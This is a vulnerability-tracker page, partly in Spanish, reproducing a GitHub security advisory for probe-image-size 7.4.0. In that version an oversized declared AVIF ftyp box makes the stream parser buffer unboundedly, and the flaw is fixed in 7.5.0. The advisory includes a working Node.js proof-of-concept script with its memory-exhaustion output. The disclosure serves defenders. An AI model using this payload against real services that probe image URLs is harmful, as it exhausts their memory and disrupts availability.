GHSA-7PQP-3Q23-MWR8
probe-image-size AVIF stream parser buffers an attacker-declared ftyp box without limit
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CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-7PQP-3Q23-MWR8 divulgada · CVSS 3.7 (GitHub) | |
| Remediación | Parche 7.5.0 | probe-image-size · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
## Summary
In the stream and URL paths, an AVIF file whose first `ftyp` box declares a size of 0xFFFFFFF0 makes the parser buffer every byte it receives while waiting for that box, and the probe never resolves. In the test, 800 MB sent gave 860 MB of resident memory.
## Affected versions
- probe-image-size 7.4.0 (npm latest, published 2026-08-15). Default-branch HEAD 64565c3c ("7.4.0 released") is identical to the release, and it is still the latest commit and version as of 2026-10-22.
## Details
`lib/parse_stream/avif.js`, `ftyp` handling near line 151: the box is read with `parser._bytes(size)`, where `size` is the 32-bit box size taken from the file, with no upper bound. The stream parser accumulates data until that many bytes have arrived. The `meta` box read at line 84 uses the same pattern; I executed only the `ftyp` variant. `probe.sync` is not affected because it works on a buffer the caller already holds.
Attacker model: remote and unauthenticated. The attacker controls the image stream, most realistically by serving it from a URL that the target passes to `probe(url)`.
## Proof of concept
`poc5.js` (`node poc5.js attack 800` or `node poc5.js control 1`):
// avif ftyp: declared box size 0xFFFFFFF0 -> parser._bytes(size) buffers until satisfied. arg: attack|control, MB
const { PassThrough } = require('stream'); const probe = require('probe-image-size')
const mode = process.argv[2], MB = +process.argv[3]
const u32 = n => { const b = Buffer.alloc(4); b.writeUInt32BE(n >>> 0); return b }
const head = Buffer.concat([u32(mode === 'attack' ? 0xFFFFFFF0 : 24), Buffer.from('ftypavif')])
const ps = new PassThrough(); let sent = 0, done = false
probe(ps).then(r => { done = true; console.log('RESOLVED', JSON.stringify(r)) }, e => { done = true; console.log('REJECTED', e.message) })
ps.write(head)
const t = setInterval(() => {
if (done || sent >= MB) { clearInterval(t); console.log(`${mode}: sent=${sent}MB rss=${(process.memoryUsage().rss / 1048576).toFixed(0)}MB resolved=${done}`); process.exit(0) }
ps.write(Buffer.alloc(1 << 20, 0x41)); sent++
}, 0)Test environment: Docker `node:22-slim` (Node 22.23.4), `npm i probe-image-size@7.4.0` (and 7.3.0 in `./old` where noted), runs with `docker run --rm --network none`.
Control: the same 12-byte header with a normal `ftyp` size of 24 is handled immediately (rejected as `unrecognized file format`, since no image follows), memory flat:
REJECTED unrecognized file format
control: sent=1MB rss=57MB resolved=trueAttack:
attack: sent=800MB rss=860MB resolved=false## Impact
Low. Memory grows one to one with the bytes the attacker actually sends, so there is no amplification. But the probe never resolves or rejects on its own, and the library otherwise reads only a small header, so callers do not expect it to hold hundreds of megabytes. On the URL path the needle read timeout is idle based, so a server that keeps sending is never cut off. The realistic attacker is a malicious HTTP server behind a URL the target is asked to probe (link previews, avatar or image URL fields). Several such connections can exhaust the process's memory.
## Suggested fix
Reject `ftyp` and `meta` boxes whose declared size is above a sane maximum before calling `parser._bytes(size)`. The `ftyp` box is a few dozen bytes in real files, and a cap of a few hundred KiB on `meta` would cover real images.
Zachariah Mithani (zachariah@aplosai.com)
AploSec (aplosec.si)
Credit: Zachariah Mithani (@zachariah-mithani, AploSec)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmprobe-image-size |
Corregida | 7.5.0 | 0 d | 7.5.0 no afectada |
7.5.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/nodeca/probe-image-size/security/advisories/GHSA-7pqp-3q23-mwr8Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
